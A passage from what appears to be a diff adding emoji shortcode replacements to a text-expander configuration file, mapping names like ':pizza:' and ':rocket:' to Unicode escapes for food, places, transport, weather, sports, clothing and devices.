":sheaf_of_rice:" + replace: "\U0001F33E" + - trigger: ":herb:" + replace: "\U0001F33F" + - trigger: ":shamrock:" + replace: "\U00002618" + - trigger: ":four_leaf_clover:" + replace: "\U0001F340" + - trigger: ":maple_leaf:" + replace: "\U0001F341" + - trigger: ":fallen_leaf:" + replace: "\U0001F342" + - trigger: ":leaf_fluttering_in_wind:" + replace: "\U0001F343" + - trigger: ":empty_nest:" + replace: "\U0001FAB9" + - trigger: ":nest_with_eggs:" + replace: "\U0001FABA" + - trigger: ":grapes:" + replace: "\U0001F347" + - trigger: ":melon:" + replace: "\U0001F348" + - trigger: ":watermelon:" + replace: "\U0001F349" + - trigger: ":tangerine:" + replace: "\U0001F34A" + - trigger: ":lemon:" + replace: "\U0001F34B" + - trigger: ":banana:" + replace: "\U0001F34C" + - trigger: ":pineapple:" + replace: "\U0001F34D" + - trigger: ":mango:" + replace: "\U0001F96D" + - trigger: ":red_apple:" + replace: "\U0001F34E" + - trigger: ":green_apple:" + replace: "\U0001F34F" + - trigger: ":pear:" + replace: "\U0001F350" + - trigger: ":peach:" + replace: "\U0001F351" + - trigger: ":cherries:" + replace: "\U0001F352" + - trigger: ":strawberry:" + replace: "\U0001F353" + - trigger: ":blueberries:" + replace: "\U0001FAD0" + - trigger: ":kiwi_fruit:" + replace: "\U0001F95D" + - trigger: ":tomato:" + replace: "\U0001F345" + - trigger: ":olive:" + replace: "\U0001FAD2" + - trigger: ":coconut:" + replace: "\U0001F965" + - trigger: ":avocado:" + replace: "\U0001F951" + - trigger: ":eggplant:" + replace: "\U0001F346" + - trigger: ":potato:" + replace: "\U0001F954" + - trigger: ":carrot:" + replace: "\U0001F955" + - trigger: ":ear_of_corn:" + replace: "\U0001F33D" + - trigger: ":hot_pepper:" + replace: "\U0001F336" + - trigger: ":bell_pepper:" + replace: "\U0001FAD1" + - trigger: ":cucumber:" + replace: "\U0001F952" + - trigger: ":leafy_green:" + replace: "\U0001F96C" + - trigger: ":broccoli:" + replace: "\U0001F966" + - trigger: ":garlic:" + replace: "\U0001F9C4" + - trigger: ":onion:" + replace: "\U0001F9C5" + - trigger: ":mushroom:" + replace: "\U0001F344" + - trigger: ":peanuts:" + replace: "\U0001F95C" + - trigger: ":beans:" + replace: "\U0001FAD8" + - trigger: ":chestnut:" + replace: "\U0001F330" + - trigger: ":bread:" + replace: "\U0001F35E" + - trigger: ":croissant:" + replace: "\U0001F950" + - trigger: ":baguette_bread:" + replace: "\U0001F956" + - trigger: ":flatbread:" + replace: "\U0001FAD3" + - trigger: ":pretzel:" + replace: "\U0001F968" + - trigger: ":bagel:" + replace: "\U0001F96F" + - trigger: ":pancakes:" + replace: "\U0001F95E" + - trigger: ":waffle:" + replace: "\U0001F9C7" + - trigger: ":cheese_wedge:" + replace: "\U0001F9C0" + - trigger: ":meat_on_bone:" + replace: "\U0001F356" + - trigger: ":poultry_leg:" + replace: "\U0001F357" + - trigger: ":cut_of_meat:" + replace: "\U0001F969" + - trigger: ":bacon:" + replace: "\U0001F953" + - trigger: ":hamburger:" + replace: "\U0001F354" + - trigger: ":french_fries:" + replace: "\U0001F35F" + - trigger: ":pizza:" + replace: "\U0001F355" + - trigger: ":hot_dog:" + replace: "\U0001F32D" + - trigger: ":sandwich:" + replace: "\U0001F96A" + - trigger: ":taco:" + replace: "\U0001F32E" + - trigger: ":burrito:" + replace: "\U0001F32F" + - trigger: ":tamale:" + replace: "\U0001FAD4" + - trigger: ":stuffed_flatbread:" + replace: "\U0001F959" + - trigger: ":falafel:" + replace: "\U0001F9C6" + - trigger: ":egg:" + replace: "\U0001F95A" + - trigger: ":cooking:" + replace: "\U0001F373" + - trigger: ":shallow_pan_of_food:" + replace: "\U0001F958" + - trigger: ":pot_of_food:" + replace: "\U0001F372" + - trigger: ":fondue:" + replace: "\U0001FAD5" + - trigger: ":bowl_with_spoon:" + replace: "\U0001F963" + - trigger: ":green_salad:" + replace: "\U0001F957" + - trigger: ":popcorn:" + replace: "\U0001F37F" + - trigger: ":butter:" + replace: "\U0001F9C8" + - trigger: ":salt:" + replace: "\U0001F9C2" + - trigger: ":canned_food:" + replace: "\U0001F96B" + - trigger: ":bento_box:" + replace: "\U0001F371" + - trigger: ":rice_cracker:" + replace: "\U0001F358" + - trigger: ":rice_ball:" + replace: "\U0001F359" + - trigger: ":cooked_rice:" + replace: "\U0001F35A" + - trigger: ":curry_rice:" + replace: "\U0001F35B" + - trigger: ":steaming_bowl:" + replace: "\U0001F35C" + - trigger: ":spaghetti:" + replace: "\U0001F35D" + - trigger: ":roasted_sweet_potato:" + replace: "\U0001F360" + - trigger: ":oden:" + replace: "\U0001F362" + - trigger: ":sushi:" + replace: "\U0001F363" + - trigger: ":fried_shrimp:" + replace: "\U0001F364" + - trigger: ":fish_cake_with_swirl:" + replace: "\U0001F365" + - trigger: ":moon_cake:" + replace: "\U0001F96E" + - trigger: ":dango:" + replace: "\U0001F361" + - trigger: ":dumpling:" + replace: "\U0001F95F" + - trigger: ":fortune_cookie:" + replace: "\U0001F960" + - trigger: ":takeout_box:" + replace: "\U0001F961" + - trigger: ":crab:" + replace: "\U0001F980" + - trigger: ":lobster:" + replace: "\U0001F99E" + - trigger: ":shrimp:" + replace: "\U0001F990" + - trigger: ":squid:" + replace: "\U0001F991" + - trigger: ":oyster:" + replace: "\U0001F9AA" + - trigger: ":soft_ice_cream:" + replace: "\U0001F366" + - trigger: ":shaved_ice:" + replace: "\U0001F367" + - trigger: ":ice_cream:" + replace: "\U0001F368" + - trigger: ":doughnut:" + replace: "\U0001F369" + - trigger: ":cookie:" + replace: "\U0001F36A" + - trigger: ":birthday_cake:" + replace: "\U0001F382" + - trigger: ":shortcake:" + replace: "\U0001F370" + - trigger: ":cupcake:" + replace: "\U0001F9C1" + - trigger: ":pie:" + replace: "\U0001F967" + - trigger: ":chocolate_bar:" + replace: "\U0001F36B" + - trigger: ":candy:" + replace: "\U0001F36C" + - trigger: ":lollipop:" + replace: "\U0001F36D" + - trigger: ":custard:" + replace: "\U0001F36E" + - trigger: ":honey_pot:" + replace: "\U0001F36F" + - trigger: ":baby_bottle:" + replace: "\U0001F37C" + - trigger: ":glass_of_milk:" + replace: "\U0001F95B" + - trigger: ":hot_beverage:" + replace: "\U00002615" + - trigger: ":teapot:" + replace: "\U0001FAD6" + - trigger: ":teacup_without_handle:" + replace: "\U0001F375" + - trigger: ":sake:" + replace: "\U0001F376" + - trigger: ":bottle_with_popping_cork:" + replace: "\U0001F37E" + - trigger: ":wine_glass:" + replace: "\U0001F377" + - trigger: ":cocktail_glass:" + replace: "\U0001F378" + - trigger: ":tropical_drink:" + replace: "\U0001F379" + - trigger: ":beer_mug:" + replace: "\U0001F37A" + - trigger: ":clinking_beer_mugs:" + replace: "\U0001F37B" + - trigger: ":clinking_glasses:" + replace: "\U0001F942" + - trigger: ":tumbler_glass:" + replace: "\U0001F943" + - trigger: ":pouring_liquid:" + replace: "\U0001FAD7" + - trigger: ":cup_with_straw:" + replace: "\U0001F964" + - trigger: ":bubble_tea:" + replace: "\U0001F9CB" + - trigger: ":beverage_box:" + replace: "\U0001F9C3" + - trigger: ":mate:" + replace: "\U0001F9C9" + - trigger: ":ice:" + replace: "\U0001F9CA" + - trigger: ":chopsticks:" + replace: "\U0001F962" + - trigger: ":fork_and_knife_with_plate:" + replace: "\U0001F37D" + - trigger: ":fork_and_knife:" + replace: "\U0001F374" + - trigger: ":spoon:" + replace: "\U0001F944" + - trigger: ":kitchen_knife:" + replace: "\U0001F52A" + - trigger: ":jar:" + replace: "\U0001FAD9" + - trigger: ":amphora:" + replace: "\U0001F3FA" + - trigger: ":globe_showing_europe_africa:" + replace: "\U0001F30D" + - trigger: ":globe_showing_americas:" + replace: "\U0001F30E" + - trigger: ":globe_showing_asia_australia:" + replace: "\U0001F30F" + - trigger: ":globe_with_meridians:" + replace: "\U0001F310" + - trigger: ":world_map:" + replace: "\U0001F5FA" + - trigger: ":map_of_japan:" + replace: "\U0001F5FE" + - trigger: ":compass:" + replace: "\U0001F9ED" + - trigger: ":snow_capped_mountain:" + replace: "\U0001F3D4" + - trigger: ":mountain:" + replace: "\U000026F0" + - trigger: ":volcano:" + replace: "\U0001F30B" + - trigger: ":mount_fuji:" + replace: "\U0001F5FB" + - trigger: ":camping:" + replace: "\U0001F3D5" + - trigger: ":beach_with_umbrella:" + replace: "\U0001F3D6" + - trigger: ":desert:" + replace: "\U0001F3DC" + - trigger: ":desert_island:" + replace: "\U0001F3DD" + - trigger: ":national_park:" + replace: "\U0001F3DE" + - trigger: ":stadium:" + replace: "\U0001F3DF" + - trigger: ":classical_building:" + replace: "\U0001F3DB" + - trigger: ":building_construction:" + replace: "\U0001F3D7" + - trigger: ":brick:" + replace: "\U0001F9F1" + - trigger: ":rock:" + replace: "\U0001FAA8" + - trigger: ":wood:" + replace: "\U0001FAB5" + - trigger: ":hut:" + replace: "\U0001F6D6" + - trigger: ":houses:" + replace: "\U0001F3D8" + - trigger: ":derelict_house:" + replace: "\U0001F3DA" + - trigger: ":house:" + replace: "\U0001F3E0" + - trigger: ":house_with_garden:" + replace: "\U0001F3E1" + - trigger: ":office_building:" + replace: "\U0001F3E2" + - trigger: ":japanese_post_office:" + replace: "\U0001F3E3" + - trigger: ":post_office:" + replace: "\U0001F3E4" + - trigger: ":hospital:" + replace: "\U0001F3E5" + - trigger: ":bank:" + replace: "\U0001F3E6" + - trigger: ":hotel:" + replace: "\U0001F3E8" + - trigger: ":love_hotel:" + replace: "\U0001F3E9" + - trigger: ":convenience_store:" + replace: "\U0001F3EA" + - trigger: ":school:" + replace: "\U0001F3EB" + - trigger: ":department_store:" + replace: "\U0001F3EC" + - trigger: ":factory:" + replace: "\U0001F3ED" + - trigger: ":japanese_castle:" + replace: "\U0001F3EF" + - trigger: ":castle:" + replace: "\U0001F3F0" + - trigger: ":wedding:" + replace: "\U0001F492" + - trigger: ":tokyo_tower:" + replace: "\U0001F5FC" + - trigger: ":statue_of_liberty:" + replace: "\U0001F5FD" + - trigger: ":church:" + replace: "\U000026EA" + - trigger: ":mosque:" + replace: "\U0001F54C" + - trigger: ":hindu_temple:" + replace: "\U0001F6D5" + - trigger: ":synagogue:" + replace: "\U0001F54D" + - trigger: ":shinto_shrine:" + replace: "\U000026E9" + - trigger: ":kaaba:" + replace: "\U0001F54B" + - trigger: ":fountain:" + replace: "\U000026F2" + - trigger: ":tent:" + replace: "\U000026FA" + - trigger: ":foggy:" + replace: "\U0001F301" + - trigger: ":night_with_stars:" + replace: "\U0001F303" + - trigger: ":cityscape:" + replace: "\U0001F3D9" + - trigger: ":sunrise_over_mountains:" + replace: "\U0001F304" + - trigger: ":sunrise:" + replace: "\U0001F305" + - trigger: ":cityscape_at_dusk:" + replace: "\U0001F306" + - trigger: ":sunset:" + replace: "\U0001F307" + - trigger: ":bridge_at_night:" + replace: "\U0001F309" + - trigger: ":hot_springs:" + replace: "\U00002668" + - trigger: ":carousel_horse:" + replace: "\U0001F3A0" + - trigger: ":playground_slide:" + replace: "\U0001F6DD" + - trigger: ":ferris_wheel:" + replace: "\U0001F3A1" + - trigger: ":roller_coaster:" + replace: "\U0001F3A2" + - trigger: ":barber_pole:" + replace: "\U0001F488" + - trigger: ":circus_tent:" + replace: "\U0001F3AA" + - trigger: ":locomotive:" + replace: "\U0001F682" + - trigger: ":railway_car:" + replace: "\U0001F683" + - trigger: ":high_speed_train:" + replace: "\U0001F684" + - trigger: ":bullet_train:" + replace: "\U0001F685" + - trigger: ":train:" + replace: "\U0001F686" + - trigger: ":metro:" + replace: "\U0001F687" + - trigger: ":light_rail:" + replace: "\U0001F688" + - trigger: ":station:" + replace: "\U0001F689" + - trigger: ":tram:" + replace: "\U0001F68A" + - trigger: ":monorail:" + replace: "\U0001F69D" + - trigger: ":mountain_railway:" + replace: "\U0001F69E" + - trigger: ":tram_car:" + replace: "\U0001F68B" + - trigger: ":bus:" + replace: "\U0001F68C" + - trigger: ":oncoming_bus:" + replace: "\U0001F68D" + - trigger: ":trolleybus:" + replace: "\U0001F68E" + - trigger: ":minibus:" + replace: "\U0001F690" + - trigger: ":ambulance:" + replace: "\U0001F691" + - trigger: ":fire_engine:" + replace: "\U0001F692" + - trigger: ":police_car:" + replace: "\U0001F693" + - trigger: ":oncoming_police_car:" + replace: "\U0001F694" + - trigger: ":taxi:" + replace: "\U0001F695" + - trigger: ":oncoming_taxi:" + replace: "\U0001F696" + - trigger: ":automobile:" + replace: "\U0001F697" + - trigger: ":oncoming_automobile:" + replace: "\U0001F698" + - trigger: ":sport_utility_vehicle:" + replace: "\U0001F699" + - trigger: ":pickup_truck:" + replace: "\U0001F6FB" + - trigger: ":delivery_truck:" + replace: "\U0001F69A" + - trigger: ":articulated_lorry:" + replace: "\U0001F69B" + - trigger: ":tractor:" + replace: "\U0001F69C" + - trigger: ":racing_car:" + replace: "\U0001F3CE" + - trigger: ":motorcycle:" + replace: "\U0001F3CD" + - trigger: ":motor_scooter:" + replace: "\U0001F6F5" + - trigger: ":manual_wheelchair:" + replace: "\U0001F9BD" + - trigger: ":motorized_wheelchair:" + replace: "\U0001F9BC" + - trigger: ":auto_rickshaw:" + replace: "\U0001F6FA" + - trigger: ":bicycle:" + replace: "\U0001F6B2" + - trigger: ":kick_scooter:" + replace: "\U0001F6F4" + - trigger: ":skateboard:" + replace: "\U0001F6F9" + - trigger: ":roller_skate:" + replace: "\U0001F6FC" + - trigger: ":bus_stop:" + replace: "\U0001F68F" + - trigger: ":motorway:" + replace: "\U0001F6E3" + - trigger: ":railway_track:" + replace: "\U0001F6E4" + - trigger: ":oil_drum:" + replace: "\U0001F6E2" + - trigger: ":fuel_pump:" + replace: "\U000026FD" + - trigger: ":wheel:" + replace: "\U0001F6DE" + - trigger: ":police_car_light:" + replace: "\U0001F6A8" + - trigger: ":horizontal_traffic_light:" + replace: "\U0001F6A5" + - trigger: ":vertical_traffic_light:" + replace: "\U0001F6A6" + - trigger: ":stop_sign:" + replace: "\U0001F6D1" + - trigger: ":construction:" + replace: "\U0001F6A7" + - trigger: ":anchor:" + replace: "\U00002693" + - trigger: ":ring_buoy:" + replace: "\U0001F6DF" + - trigger: ":sailboat:" + replace: "\U000026F5" + - trigger: ":canoe:" + replace: "\U0001F6F6" + - trigger: ":speedboat:" + replace: "\U0001F6A4" + - trigger: ":passenger_ship:" + replace: "\U0001F6F3" + - trigger: ":ferry:" + replace: "\U000026F4" + - trigger: ":motor_boat:" + replace: "\U0001F6E5" + - trigger: ":ship:" + replace: "\U0001F6A2" + - trigger: ":airplane:" + replace: "\U00002708" + - trigger: ":small_airplane:" + replace: "\U0001F6E9" + - trigger: ":airplane_departure:" + replace: "\U0001F6EB" + - trigger: ":airplane_arrival:" + replace: "\U0001F6EC" + - trigger: ":parachute:" + replace: "\U0001FA82" + - trigger: ":seat:" + replace: "\U0001F4BA" + - trigger: ":helicopter:" + replace: "\U0001F681" + - trigger: ":suspension_railway:" + replace: "\U0001F69F" + - trigger: ":mountain_cableway:" + replace: "\U0001F6A0" + - trigger: ":aerial_tramway:" + replace: "\U0001F6A1" + - trigger: ":satellite:" + replace: "\U0001F6F0" + - trigger: ":rocket:" + replace: "\U0001F680" + - trigger: ":flying_saucer:" + replace: "\U0001F6F8" + - trigger: ":bellhop_bell:" + replace: "\U0001F6CE" + - trigger: ":luggage:" + replace: "\U0001F9F3" + - trigger: ":hourglass_done:" + replace: "\U0000231B" + - trigger: ":hourglass_not_done:" + replace: "\U000023F3" + - trigger: ":watch:" + replace: "\U0000231A" + - trigger: ":alarm_clock:" + replace: "\U000023F0" + - trigger: ":stopwatch:" + replace: "\U000023F1" + - trigger: ":timer_clock:" + replace: "\U000023F2" + - trigger: ":mantelpiece_clock:" + replace: "\U0001F570" + - trigger: ":twelve_oclock:" + replace: "\U0001F55B" + - trigger: ":twelve_thirty:" + replace: "\U0001F567" + - trigger: ":one_oclock:" + replace: "\U0001F550" + - trigger: ":one_thirty:" + replace: "\U0001F55C" + - trigger: ":two_oclock:" + replace: "\U0001F551" + - trigger: ":two_thirty:" + replace: "\U0001F55D" + - trigger: ":three_oclock:" + replace: "\U0001F552" + - trigger: ":three_thirty:" + replace: "\U0001F55E" + - trigger: ":four_oclock:" + replace: "\U0001F553" + - trigger: ":four_thirty:" + replace: "\U0001F55F" + - trigger: ":five_oclock:" + replace: "\U0001F554" + - trigger: ":five_thirty:" + replace: "\U0001F560" + - trigger: ":six_oclock:" + replace: "\U0001F555" + - trigger: ":six_thirty:" + replace: "\U0001F561" + - trigger: ":seven_oclock:" + replace: "\U0001F556" + - trigger: ":seven_thirty:" + replace: "\U0001F562" + - trigger: ":eight_oclock:" + replace: "\U0001F557" + - trigger: ":eight_thirty:" + replace: "\U0001F563" + - trigger: ":nine_oclock:" + replace: "\U0001F558" + - trigger: ":nine_thirty:" + replace: "\U0001F564" + - trigger: ":ten_oclock:" + replace: "\U0001F559" + - trigger: ":ten_thirty:" + replace: "\U0001F565" + - trigger: ":eleven_oclock:" + replace: "\U0001F55A" + - trigger: ":eleven_thirty:" + replace: "\U0001F566" + - trigger: ":new_moon:" + replace: "\U0001F311" + - trigger: ":waxing_crescent_moon:" + replace: "\U0001F312" + - trigger: ":first_quarter_moon:" + replace: "\U0001F313" + - trigger: ":waxing_gibbous_moon:" + replace: "\U0001F314" + - trigger: ":full_moon:" + replace: "\U0001F315" + - trigger: ":waning_gibbous_moon:" + replace: "\U0001F316" + - trigger: ":last_quarter_moon:" + replace: "\U0001F317" + - trigger: ":waning_crescent_moon:" + replace: "\U0001F318" + - trigger: ":crescent_moon:" + replace: "\U0001F319" + - trigger: ":new_moon_face:" + replace: "\U0001F31A" + - trigger: ":first_quarter_moon_face:" + replace: "\U0001F31B" + - trigger: ":last_quarter_moon_face:" + replace: "\U0001F31C" + - trigger: ":thermometer:" + replace: "\U0001F321" + - trigger: ":sun:" + replace: "\U00002600" + - trigger: ":full_moon_face:" + replace: "\U0001F31D" + - trigger: ":sun_with_face:" + replace: "\U0001F31E" + - trigger: ":ringed_planet:" + replace: "\U0001FA90" + - trigger: ":star:" + replace: "\U00002B50" + - trigger: ":glowing_star:" + replace: "\U0001F31F" + - trigger: ":shooting_star:" + replace: "\U0001F320" + - trigger: ":milky_way:" + replace: "\U0001F30C" + - trigger: ":cloud:" + replace: "\U00002601" + - trigger: ":sun_behind_cloud:" + replace: "\U000026C5" + - trigger: ":cloud_with_lightning_and_rain:" + replace: "\U000026C8" + - trigger: ":sun_behind_small_cloud:" + replace: "\U0001F324" + - trigger: ":sun_behind_large_cloud:" + replace: "\U0001F325" + - trigger: ":sun_behind_rain_cloud:" + replace: "\U0001F326" + - trigger: ":cloud_with_rain:" + replace: "\U0001F327" + - trigger: ":cloud_with_snow:" + replace: "\U0001F328" + - trigger: ":cloud_with_lightning:" + replace: "\U0001F329" + - trigger: ":tornado:" + replace: "\U0001F32A" + - trigger: ":fog:" + replace: "\U0001F32B" + - trigger: ":wind_face:" + replace: "\U0001F32C" + - trigger: ":cyclone:" + replace: "\U0001F300" + - trigger: ":rainbow:" + replace: "\U0001F308" + - trigger: ":closed_umbrella:" + replace: "\U0001F302" + - trigger: ":umbrella:" + replace: "\U00002602" + - trigger: ":umbrella_with_rain_drops:" + replace: "\U00002614" + - trigger: ":umbrella_on_ground:" + replace: "\U000026F1" + - trigger: ":high_voltage:" + replace: "\U000026A1" + - trigger: ":snowflake:" + replace: "\U00002744" + - trigger: ":snowman:" + replace: "\U00002603" + - trigger: ":snowman_without_snow:" + replace: "\U000026C4" + - trigger: ":comet:" + replace: "\U00002604" + - trigger: ":fire:" + replace: "\U0001F525" + - trigger: ":droplet:" + replace: "\U0001F4A7" + - trigger: ":water_wave:" + replace: "\U0001F30A" + - trigger: ":jack_o_lantern:" + replace: "\U0001F383" + - trigger: ":christmas_tree:" + replace: "\U0001F384" + - trigger: ":fireworks:" + replace: "\U0001F386" + - trigger: ":sparkler:" + replace: "\U0001F387" + - trigger: ":firecracker:" + replace: "\U0001F9E8" + - trigger: ":sparkles:" + replace: "\U00002728" + - trigger: ":balloon:" + replace: "\U0001F388" + - trigger: ":party_popper:" + replace: "\U0001F389" + - trigger: ":confetti_ball:" + replace: "\U0001F38A" + - trigger: ":tanabata_tree:" + replace: "\U0001F38B" + - trigger: ":pine_decoration:" + replace: "\U0001F38D" + - trigger: ":japanese_dolls:" + replace: "\U0001F38E" + - trigger: ":carp_streamer:" + replace: "\U0001F38F" + - trigger: ":wind_chime:" + replace: "\U0001F390" + - trigger: ":moon_viewing_ceremony:" + replace: "\U0001F391" + - trigger: ":red_envelope:" + replace: "\U0001F9E7" + - trigger: ":ribbon:" + replace: "\U0001F380" + - trigger: ":wrapped_gift:" + replace: "\U0001F381" + - trigger: ":reminder_ribbon:" + replace: "\U0001F397" + - trigger: ":admission_tickets:" + replace: "\U0001F39F" + - trigger: ":ticket:" + replace: "\U0001F3AB" + - trigger: ":military_medal:" + replace: "\U0001F396" + - trigger: ":trophy:" + replace: "\U0001F3C6" + - trigger: ":sports_medal:" + replace: "\U0001F3C5" + - trigger: ":1st_place_medal:" + replace: "\U0001F947" + - trigger: ":2nd_place_medal:" + replace: "\U0001F948" + - trigger: ":3rd_place_medal:" + replace: "\U0001F949" + - trigger: ":soccer_ball:" + replace: "\U000026BD" + - trigger: ":baseball:" + replace: "\U000026BE" + - trigger: ":softball:" + replace: "\U0001F94E" + - trigger: ":basketball:" + replace: "\U0001F3C0" + - trigger: ":volleyball:" + replace: "\U0001F3D0" + - trigger: ":american_football:" + replace: "\U0001F3C8" + - trigger: ":rugby_football:" + replace: "\U0001F3C9" + - trigger: ":tennis:" + replace: "\U0001F3BE" + - trigger: ":flying_disc:" + replace: "\U0001F94F" + - trigger: ":bowling:" + replace: "\U0001F3B3" + - trigger: ":cricket_game:" + replace: "\U0001F3CF" + - trigger: ":field_hockey:" + replace: "\U0001F3D1" + - trigger: ":ice_hockey:" + replace: "\U0001F3D2" + - trigger: ":lacrosse:" + replace: "\U0001F94D" + - trigger: ":ping_pong:" + replace: "\U0001F3D3" + - trigger: ":badminton:" + replace: "\U0001F3F8" + - trigger: ":boxing_glove:" + replace: "\U0001F94A" + - trigger: ":martial_arts_uniform:" + replace: "\U0001F94B" + - trigger: ":goal_net:" + replace: "\U0001F945" + - trigger: ":in_hole:" + replace: "\U000026F3" + - trigger: ":ice_skate:" + replace: "\U000026F8" + - trigger: ":fishing_pole:" + replace: "\U0001F3A3" + - trigger: ":diving_mask:" + replace: "\U0001F93F" + - trigger: ":running_shirt:" + replace: "\U0001F3BD" + - trigger: ":skis:" + replace: "\U0001F3BF" + - trigger: ":sled:" + replace: "\U0001F6F7" + - trigger: ":curling_stone:" + replace: "\U0001F94C" + - trigger: ":bullseye:" + replace: "\U0001F3AF" + - trigger: ":yo_yo:" + replace: "\U0001FA80" + - trigger: ":kite:" + replace: "\U0001FA81" + - trigger: ":pool_8_ball:" + replace: "\U0001F3B1" + - trigger: ":crystal_ball:" + replace: "\U0001F52E" + - trigger: ":magic_wand:" + replace: "\U0001FA84" + - trigger: ":nazar_amulet:" + replace: "\U0001F9FF" + - trigger: ":hamsa:" + replace: "\U0001FAAC" + - trigger: ":video_game:" + replace: "\U0001F3AE" + - trigger: ":joystick:" + replace: "\U0001F579" + - trigger: ":slot_machine:" + replace: "\U0001F3B0" + - trigger: ":game_die:" + replace: "\U0001F3B2" + - trigger: ":puzzle_piece:" + replace: "\U0001F9E9" + - trigger: ":teddy_bear:" + replace: "\U0001F9F8" + - trigger: ":pi�ata:" + replace: "\U0001FA85" + - trigger: ":mirror_ball:" + replace: "\U0001FAA9" + - trigger: ":nesting_dolls:" + replace: "\U0001FA86" + - trigger: ":spade_suit:" + replace: "\U00002660" + - trigger: ":heart_suit:" + replace: "\U00002665" + - trigger: ":diamond_suit:" + replace: "\U00002666" + - trigger: ":club_suit:" + replace: "\U00002663" + - trigger: ":chess_pawn:" + replace: "\U0000265F" + - trigger: ":joker:" + replace: "\U0001F0CF" + - trigger: ":mahjong_red_dragon:" + replace: "\U0001F004" + - trigger: ":flower_playing_cards:" + replace: "\U0001F3B4" + - trigger: ":performing_arts:" + replace: "\U0001F3AD" + - trigger: ":framed_picture:" + replace: "\U0001F5BC" + - trigger: ":artist_palette:" + replace: "\U0001F3A8" + - trigger: ":thread:" + replace: "\U0001F9F5" + - trigger: ":sewing_needle:" + replace: "\U0001FAA1" + - trigger: ":yarn:" + replace: "\U0001F9F6" + - trigger: ":knot:" + replace: "\U0001FAA2" + - trigger: ":glasses:" + replace: "\U0001F453" + - trigger: ":sunglasses:" + replace: "\U0001F576" + - trigger: ":goggles:" + replace: "\U0001F97D" + - trigger: ":lab_coat:" + replace: "\U0001F97C" + - trigger: ":safety_vest:" + replace: "\U0001F9BA" + - trigger: ":necktie:" + replace: "\U0001F454" + - trigger: ":t_shirt:" + replace: "\U0001F455" + - trigger: ":jeans:" + replace: "\U0001F456" + - trigger: ":scarf:" + replace: "\U0001F9E3" + - trigger: ":gloves:" + replace: "\U0001F9E4" + - trigger: ":coat:" + replace: "\U0001F9E5" + - trigger: ":socks:" + replace: "\U0001F9E6" + - trigger: ":dress:" + replace: "\U0001F457" + - trigger: ":kimono:" + replace: "\U0001F458" + - trigger: ":sari:" + replace: "\U0001F97B" + - trigger: ":one_piece_swimsuit:" + replace: "\U0001FA71" + - trigger: ":briefs:" + replace: "\U0001FA72" + - trigger: ":shorts:" + replace: "\U0001FA73" + - trigger: ":bikini:" + replace: "\U0001F459" + - trigger: ":womans_clothes:" + replace: "\U0001F45A" + - trigger: ":purse:" + replace: "\U0001F45B" + - trigger: ":handbag:" + replace: "\U0001F45C" + - trigger: ":clutch_bag:" + replace: "\U0001F45D" + - trigger: ":shopping_bags:" + replace: "\U0001F6CD" + - trigger: ":backpack:" + replace: "\U0001F392" + - trigger: ":thong_sandal:" + replace: "\U0001FA74" + - trigger: ":mans_shoe:" + replace: "\U0001F45E" + - trigger: ":running_shoe:" + replace: "\U0001F45F" + - trigger: ":hiking_boot:" + replace: "\U0001F97E" + - trigger: ":flat_shoe:" + replace: "\U0001F97F" + - trigger: ":high_heeled_shoe:" + replace: "\U0001F460" + - trigger: ":womans_sandal:" + replace: "\U0001F461" + - trigger: ":ballet_shoes:" + replace: "\U0001FA70" + - trigger: ":womans_boot:" + replace: "\U0001F462" + - trigger: ":crown:" + replace: "\U0001F451" + - trigger: ":womans_hat:" + replace: "\U0001F452" + - trigger: ":top_hat:" + replace: "\U0001F3A9" + - trigger: ":graduation_cap:" + replace: "\U0001F393" + - trigger: ":billed_cap:" + replace: "\U0001F9E2" + - trigger: ":military_helmet:" + replace: "\U0001FA96" + - trigger: ":rescue_workers_helmet:" + replace: "\U000026D1" + - trigger: ":prayer_beads:" + replace: "\U0001F4FF" + - trigger: ":lipstick:" + replace: "\U0001F484" + - trigger: ":ring:" + replace: "\U0001F48D" + - trigger: ":gem_stone:" + replace: "\U0001F48E" + - trigger: ":muted_speaker:" + replace: "\U0001F507" + - trigger: ":speaker_low_volume:" + replace: "\U0001F508" + - trigger: ":speaker_medium_volume:" + replace: "\U0001F509" + - trigger: ":speaker_high_volume:" + replace: "\U0001F50A" + - trigger: ":loudspeaker:" + replace: "\U0001F4E2" + - trigger: ":megaphone:" + replace: "\U0001F4E3" + - trigger: ":postal_horn:" + replace: "\U0001F4EF" + - trigger: ":bell:" + replace: "\U0001F514" + - trigger: ":bell_with_slash:" + replace: "\U0001F515" + - trigger: ":musical_score:" + replace: "\U0001F3BC" + - trigger: ":musical_note:" + replace: "\U0001F3B5" + - trigger: ":musical_notes:" + replace: "\U0001F3B6" + - trigger: ":studio_microphone:" + replace: "\U0001F399" + - trigger: ":level_slider:" + replace: "\U0001F39A" + - trigger: ":control_knobs:" + replace: "\U0001F39B" + - trigger: ":microphone:" + replace: "\U0001F3A4" + - trigger: ":headphone:" + replace: "\U0001F3A7" + - trigger: ":radio:" + replace: "\U0001F4FB" + - trigger: ":saxophone:" + replace: "\U0001F3B7" + - trigger: ":accordion:" + replace: "\U0001FA97" + - trigger: ":guitar:" + replace: "\U0001F3B8" + - trigger: ":musical_keyboard:" + replace: "\U0001F3B9" + - trigger: ":trumpet:" + replace: "\U0001F3BA" + - trigger: ":violin:" + replace: "\U0001F3BB" + - trigger: ":banjo:" + replace: "\U0001FA95" + - trigger: ":drum:" + replace: "\U0001F941" + - trigger: ":long_drum:" + replace: "\U0001FA98" + - trigger: ":mobile_phone:" + replace: "\U0001F4F1" + - trigger: ":mobile_phone_with_arrow:" + replace: "\U0001F4F2" + - trigger: ":telephone:" + replace: "\U0000260E" + - trigger: ":telephone_receiver:" + replace: "\U0001F4DE" + - trigger: ":pager:" + replace: "\U0001F4DF" + - trigger: ":fax_machine:" + replace: "\U0001F4E0" + - trigger: ":battery:" + replace: "\U0001F50B" + - trigger: ":low_battery:" + replace: "\U0001FAAB" + - trigger: ":electric_plug:" + replace: "\U0001F50C" + - trigger: ":laptop:" + replace: "\U0001F4BB" + - trigger: ":desktop_computer:" + replace: "\U0001F5A5" + - trigger: ":printer:" + replace: "\U0001F5A8" + - trigger: ":keyboard:" + replace: "\U00002328" + - trigger: ":computer_mouse:" + replace: "\U0001F5B1" + - trigger: ":trackball:" + replace: "\U0001F5B2" + - trigger: ":computer_disk:" + replace: "\U0001F4BD" + - trigger: ":floppy_disk:" + replace: "\U0001F4BE" + - trigger: ":optical_disk:" + replace: "\U0001F4BF" + - trigger: ":dvd:" + replace: "\U0001F4C0" + - trigger: ":abacus:" + replace: "\U0001F9EE" + - trigger: ":movie_camera:" + replace: "\U0001F3A5" + - trigger: ":film_frames:" + replace: "\U0001F39E" + - trigger: 